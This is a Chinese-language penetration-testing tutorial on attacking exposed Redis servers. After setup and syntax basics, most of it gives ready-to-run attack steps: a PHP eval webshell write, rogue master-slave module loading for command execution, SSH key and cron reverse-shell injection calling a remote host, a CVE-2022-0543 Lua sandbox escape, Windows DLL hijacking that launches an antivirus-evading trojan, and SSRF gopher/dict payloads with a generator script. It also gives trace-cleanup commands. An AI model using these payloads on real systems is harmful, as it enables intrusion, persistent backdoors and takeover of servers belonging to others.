0x00 Redis 简介

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。由于其自身特点,可以广泛应用在数据集群,分布式队列,信息中间件等网络架构中,在内网渗透的突破中,常常扮演getshell的角色,redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

总结 — 一个数据库,默认端口是6379,拥有很多漏洞。

0x01 环境 & 工具准备

Linux 编译安装,安装后仅能在安装目录下运行

wget https://download.redis.io/releases/redis-6.2.5.tar.gz
tar xzf redis-6.2.5.tar.gz
cd redis-6.2.5
make
# 启动 redis 服务,可以指定配置文件启动(若不指定则以默认的配置文件启动)
cd src
./redis-server
# 启动 redis 客户端
./redis-cli

Windows 安装

https://github.com/MicrosoftArchive/redis/releases
下载 Redis-x64-3.0.504.zip 并解压
redis-server.exe redis.windows.conf

Docker安装

docker pull vertigo/redis4
docker run -p 6379:6379 vertigo/redis4

可能用到的利用工具

0x02 Redis 语法

  • Redis 键命令的基本语法为: COMMAND KEY_NAME
  • 使用 * 可以获取所有配置项(GET 、 KEYS)
  • 使用 SET 和 GET 命令,可以完成基本的赋值和取值操作;
  • Redis 不区分命令的大小写,set 和 SET 是同一个意思;
  • 如果键的值中有空格,需要使用双引号括起来;
SET key "Hello World"                        # 设置键 key 的值为字符串 Hello World
GET key                                     # 获取键 key 的值,如果 key 不存在,返回 nil 。如果key 储存的值不是字符串类型,返回一个错误
DEL key                                     # 删除键 key
KEYS *                                      # 获取 redis 中所有的 key,Keys 命令用于查找所有符合给定模式 pattern 的 key
SAVE                                           # 用于创建当前数据库的备份,在 redis 安装目录中创建dump.rdb文件
CONFIG GET requirepass                         # 用于获取 redis 服务的配置参数,通过 CONFIG 命令查看或设置配置项
CONFIG REWRITE requirepass "123456"         # 对 redis.conf 配置文件进行改写,重启后才会被修改
CONFIG SET requirepass "123456"             # 动态地调整 Redis 服务器的配置(configuration)而无须重启
Flushall                                    # 用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key)
SELECT index                                # Redis Select 命令用于切换到指定的数据库,数据库索引号 index 用数字值指定,以 0 作为起始索引值。

0x03 Redis 配置文件

Redis 的配置文件位于 Redis 安装目录下,文件名为 redis.conf(Windows 名为 redis.windows.conf)。当然也可以通过指定配置文件来进行启动。列举一些重要的配置项进行说明。

配置项 说明
port 6379 指定 Redis 监听端口,默认端口为 6379
bind 127.0.0.1 绑定的主机地址,格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如 bind 192.168.1.100 10.0.0.1,表示同时绑定在192.168.1.100和10.0.0.1两个IP地址上。如果没有指定bind参数,则绑定在本机的所有IP地址上。
save 格式为 save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份也就是指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合
dbfilename dump.rdb 指定本地数据库文件名,默认值为 dump.rdb
dir ./ 指定本地数据库存放目录,指明 Redis 的工作目录为设定的目录,Redis 产生的备份文件将放在这个目录下
requirepass foobared 设置 Redis 连接密码,如果配置了连接密码,客户端在连接 Redis 时需要通过 AUTH 命令提供密码,默认关闭
protected-mode redis3.2 版本后新增 protected-mode 配置,默认是 yes ,用于设置外部网络连接 redis 服务。关闭 protected-mode 模式,此时外部网络可以直接访问。开启 protected-mode 保护模式,需配置 bind ip 或者设置访问密码。

0x04 Redis Win&Linxu 漏洞利用

Redis未授权

1.漏洞利用

下载Redis-v3.0,默认情况下开启redis-server.exe

image-20220316212609301

利用数据库连接工具正常连接即可,无需密码

image-20220316212154432

利用 Redis 写入webshell

1.漏洞原理

Redis存在持久化机制,分为手动触发和自动触发,可以使用save命令手动触发备份数据库中的数据,通过这个机制可以达到向服务器任意路径写入任意文件名和任意文件内容的目的。

2.利用场景

Redis 存在未授权访问或者暴破密码成功,最终连接Redis数据库成功的情况下,同时开启了 web 服务,知道 web 目录的绝对路径,具有文件读写权限

3.利用过程
# phpstudy下载安装,全程默认选项安装
https://public.xp.cn/upgrades/phpStudy_64.zip
image-20220316223124537
#实际利用中查看当前数据库是否有缓存
dbsize
#有缓存时切换到其他数据库,redis默认有16个数据库,尽量寻找没有缓存或缓存较少的数据库
select 15
#若未发现有可利用数据库,根据情况决定是否需要使用此命令清除所有数据库
Flushall
#开始利用
config set dir C:\phpstudy_pro\WWW
config set dbfilename shell.php
set xxx "<?php eval($_REQUEST[cmd]);?>"   
#\r\n\r\n 代表换行的意思,用redis写入文件的会自带一些版本信息,在写入一些后门文件时自行分辨是否需要添加换行符,个别文件如果不换行可能会导致无法执行
save
image-20220324121123246

利用 Redis 主从复制 Getshell

1.漏洞原理

Redis 是一个使用 ANSIC 编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个 Redis 的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis 就提供了主从模式,主从模式就是指使用一个 redis 实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。基于 Redis 主从复制的机制,可以通过 FULLRESYNC 将任意文件同步到从节点(slave)从而利用漏洞获取权限。

2.利用场景

Redis 存在未授权访问或者暴破密码成功,最终连接Redis数据库成功的情况下,目标机和攻击机网络互通,并且redis版本范围为4.x、5.x,通过主从写入.so或者dll文件,从而使目标机执行so或dll文件中的命令执行函数。

3.利用过程
docker pull vertigo/redis4
docker run -p 6379:6379 vertigo/redis4
#利用工具
https://github.com/Dliv3/redis-rogue-server
python3 redis-rogue-server.py  --rhost=10.100.6.50(目标IP) --rport=6379 --lhost=10.100.4.189(本机IP)
#退出工具时 ctrl+c 会自动执行清理exp.so模块的命令

#工具中使用的命令
1.config set dir ./
2.config set dbfilename exp.so
3.slaveof X.X.X.115
4.slaveof X.X.X.115 21000  #上面看绑定的服务段端口是21000
5.module load ./exp.so
6.slaveof no one
7.system.exec 'whoami'

#清理痕迹
8.config set dbfilename dump.rdb
9.system.exec 'rm ./exp.so'
10.module unload system
image-20220328151212566
image-20220328150007339

0x05 Redis Linux 漏洞利用

利用 Redis 写入SSH公钥

1.漏洞原理

ssh密钥登录怎么实现呢?通过工具生成公钥和对应的私钥,将公钥放在靶机特定位置特定文件名,攻击机就可以使用私钥去登录ssh。

redis操作同写webshell,只是将本机的ssh公钥作为value,然后通过修改数据库的默认路径为/root/.ssh和默认的文件名authorized.keys,把数据备份在authorized.keys文件里,这样就可以使用密钥进行登录。

2.利用场景

Redis 存在未授权访问或者暴破密码成功,最终连接Redis数据库成功的情况下,并且ssh服务对外开放,redis进程为高权限,可以通过密钥登认证。

3.利用过程
# 安装 openssh 服务
sudo apt-get install openssh-server
# 启动 ssh 服务
sudo /etc/init.d/ssh start
# 配置 root 用户连接权限
sudo  vim /etc/ssh/sshd_config
PermitRootLogin yes
# 设置允许通过免密登录
AuthorizedKeysFile    .ssh/authorized_keys .ssh/authorized_keys2
# 重启 ssh 服务
sudo /etc/init.d/ssh restart
#攻击机生成ssh密钥
ssh-keygen -t rsa
cat /home/root/.ssh/id_rsa.pub
image-20220324130305147
#生成带有换行符的密钥并传入Redis
(echo -e "\n\n"; cat /Users/sven/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | ./redis-cli -h 192.168.0.104 -x set xxx
#设置目录
config set dir /root/.ssh/
#设置文件名
set dbfilename authorized_keys
#保存
save
#连接目标服务器
ssh -i /Users/sven/.ssh/id_rsa root@192.168.0.104

设置.ssh目录的时候如果报错 (error) ERR Changing directory: No such file or directory 是靶机上不存在这个目录,原因是 .ssh 是记录密码信息的文件夹,如果 root 用户没有登录过的话,就没有 .ssh 文件夹,所以我们可以通过在靶机上运行这条命令 ssh localhost 或者手动创建 .ssh 目录,实际环境中不会发生此问题。

image-20220324134315048

利用 Redis 写入Linux计划任务

1.漏洞原理

通过写入文件到系统计划任务目录 /var/spool/cron/root文件来执行,redis操作同写webshell,只是将一句话计划任务作为value,然后通过修改数据库的默认路径为/var/spool/cron/和默认的文件名root,把数据备份在root文件里,这样系统就会根据计划任务内容去运行命令。

2.利用场景

Redis 存在未授权访问或者暴破密码成功,最终连接Redis数据库成功的情况下,并且靶机出网(可访问攻击机),目标为centos系统,redis进程为高权限,可以设置计划任务。

3.利用过程
  • 攻击机开启端口监听

    nc -lvp 80
    
  • 利用redis写入linux计划任务

set xxx "\n\n*/1 * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/443 0>&1\n"
//星号表示的是计划任务的时间,表示每分钟执行一次
config set dir /var/spool/cron/
config set dbfilename root
save
#计划任务参数说明
每分钟都执行一次的话就采用默认的 * * * * *
每五分钟执行一次可以 */5 * * * * 
每两个小时执行一次的话就是 * */2 * * *
第三个*是日,第四个是月,第五个是周
m:分钟 - 从0到59的整数
h:小时 - 从0到23的整数
dom:天 - 从1到31的整数 (必须是指定月份的有效日期)
mon:月 - 从1到12的整数 (或如Jan或Feb简写的月份)
dow:周一到周日 - 从0到7的整数,0或7用来描述周日 (或用Sun或Mon简写来表示)
command: 需要执行的命令
星号(*)表示参数所有可用的值,如果为5个*,就代表每分钟执行一次
符号“/”指定步进设置。“/<interger>”表示步进值,比如*/2 * * * *代表每两分钟执行一次任务
image-20220324202907913

Redis Lua沙盒绕过命令执行(CVE-2022-0543)

1.漏洞原理

Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

2.利用场景

redis服务对外开放,未授权或已知密码,目标系统为Debian、Ubuntu 或其他基于 Debian 的 Linux 发行版系统,版本为 2.2 <= redis < 6.2.5。

3.利用过程
#本地复现环境拉取
git clone https://github.com/vulhub/vulhub.git
cd vulhub/redis/CVE-2022-0543/
docker-compose up -d
#连接redis,使用eval命令执行命令:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
#值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。Vulhub环境(Ubuntu fiocal)中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
#若遇到不存在此.so文件,可以尝试从4.0遍历至7.0
image-20220401123632358

0x06 Redis Windows漏洞利用

利用 Redis 主从复制 DLL劫持 Getshell

1.漏洞原理

利用redis的主从功能,写入dbghelp.dll文件,达到在redis执行BGSAVE或者BGREWRITEAOF命令时redis加载dll的目的

2.利用场景

Redis 存在未授权访问或者暴破密码成功,最终连接Redis数据库成功的情况下,并且是Windows系统下的Redis。

3.利用过程
#利用工具
https://github.com/r35tart/RedisWriteFile
#上传制作好的dbghelp.dll
python3 RedisWriteFile.py --rhost 10.100.18.218(目标机) --lhost 10.100.18.56(本机) --lfile dbghelp.dll --rfile dbghelp.dll
#上传木马exe到C:\\Windows\\Temp目录,实战中exe自检exe是否处于免杀状态
python3 RedisWriteFile.py --rhost 10.100.18.218 --lhost 10.100.18.56 --lfile dbghelp.exe --rfile dbghelp.exe --rpath "C:\\Windows\\Temp"

制作劫持的dll

#dll-hijacking下载地址
https://github.com/rek7/dll-hijacking

python代码生成DLL劫持代码,替换导出路径dbghelp_为C:\\Windows\\System32\\dbghelp

image-20220329100723418

在DLLMain函数中添加自己的shellcode执行逻辑,此处为调用另外一个木马exe(自行制作cs上线木马,优先使用免杀木马)作为演示,然后生成dll,名称改为dbghelp.dll

image-20220329152000963

顺序是固定的,必须先上传dbghelp.dll,然后上传dbghelp.exe(木马的名字,任意名字都可,写死在dbghelp.dll中,自行更改),否则将无法上传文件至redis目录。

image-20220329152622260

连接redis,使用命令BGSAVE触发redis加载dbghelp.dll,从而成功运行dbghelp.exe木马上线CS

image-20220329152835846

0x07 SSRF 对 Redis 的利用

dict协议

特点: 命令多条的话,需要一条条执行,不支持传入换行,也不会对%0d%0解码

格式: dict://serverip:port/命令:参数

image-20220329232708094

gopher协议

特点: 支持多行输入,忽略首位字符串

格式: gopher://serverip:port/_data

image-20220329225621034
image-20220330142237910

无认证SSRF攻击

dict协议的攻击:

1.连接远程主服务器
curl dict://127.0.0.1:6379/slaveof:100.100.100.100:21000
2.设置保存文件名
curl dict://127.0.0.1:6379/config:set:dbfilename:exp.so
3.载入 exp.so
curl dict://127.0.0.1:6379/module:load:./exp.so
4.断开主从
curl dict://127.0.0.1:6379/slaveof:no:one
5.恢复原始文件名
curl dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb
6.执行命令
curl dict://127.0.0.1:6379/system.exec:'whomai'
7.删除痕迹
curl dict://127.0.0.1:6379/system.exec:'rm ./exp.so'
curl dict://127.0.0.1:6379/module:unload:system

gopher协议的攻击:

#采取Gopherus,实现快速利用,Gopherus内置了计划任务和写webshell两种利用方式
git clone https://github.com/tarunkant/Gopherus.git
cd Gopherus
python2 gopherus.py --exploit redis
image-20220330162238000

有认证SSRF攻击

gopher协议的攻击

#密码设为123123
curl "gopher://127.0.0.1:6379/_%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24%36%0d%0a%31%32%33%31%32%33%%0d%0a"
image-20220330161902542

通用利用脚本

根据authPass参数有值无值区分redis是否需要认证,默认是主从利用代码,如webshell或者计划任务自行修改其中的redis命令即可

#!/usr/bin/python3
# -*-coding:utf-8-*-
#参考文章:https://xz.aliyun.com/t/7974#toc-20
# author:xq17

import urllib.parse

def tranToResp(x):
        xSplit = x.split(" ")
        cmd=""
        cmd+="*"+str(len(xSplit))
        for i in xSplit:
            i = i.replace("${IFS}"," ")
            cmd+="\r\n"+"$"+str(len(i))+"\r\n"+ i
        cmd+="\r\n"
        return cmd

def GeneratePayload(ip, port):
    cmd=[
     "config set dir ./",
     "config set dbfilename exp.so",
     "slaveof {i} {p}".format(i=ip, p=port),
     "module load exp.so",
     "system.exec ls",
     "system.exec rm${IFS}exp.so",
     "quit",
     ]
     # "system.exec bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.8.103/4607${IFS}0>&1",
    payload = ""
    for p in cmd:
        payload += urllib.parse.quote(tranToResp(p))
    return payload


def main():
    # target
    ip = "10.100.8.231"
    port = "6379"
    # server load exp.so
    serverIp = "10.100.8.188"
    serverPort = "21000"
    authPass = ""
    payload = GeneratePayload(serverIp, serverPort)
    exitPayload = (urllib.parse.quote(tranToResp("slaveof no one") + tranToResp("quit") ))
    if authPass:
        print("author attack:")
        pd = "gopher://{host}:{port}/_%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24{l}%0d%0a{p}%0d%0a"
        pd = pd.format(host=ip, port=port, l=str(len(authPass)), p=authPass)
        print(pd + payload)
        print("clean footprint:")
        print(pd + exitPayload)
    else:
        print("no author attack:")
        pd = "gopher://{host}:{port}/_"
        print(pd.format(host=ip, port=port)+payload)
        print("clean footprint:")
        print(pd.format(host=ip, port=port) + exitPayload)

if __name__ == '__main__':
    main()
image-20220330163502578

0x08 Tips

config命令禁用绕过

当redis.conf 配置了禁用config命令的时候。

rename-command CONFIG ""

比如这个config命令就不可用了,可以采取一种方式绕过。

这个时候我们就没办法自定义文件后缀了,但是我们还是可以利用主从复制的,主从同步文件后exp.so的内容被保存为了dump.rdb,把dump.rdb当做exp.so去正常加载即可。

module load ./dump.rdb

计划任务为何没有成功反弹shell

写计划任务反弹shell存在系统限制,这个方法只能Centos上使用,Ubuntu上行不通,原因如下:

  1. 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
  2. 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同
Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的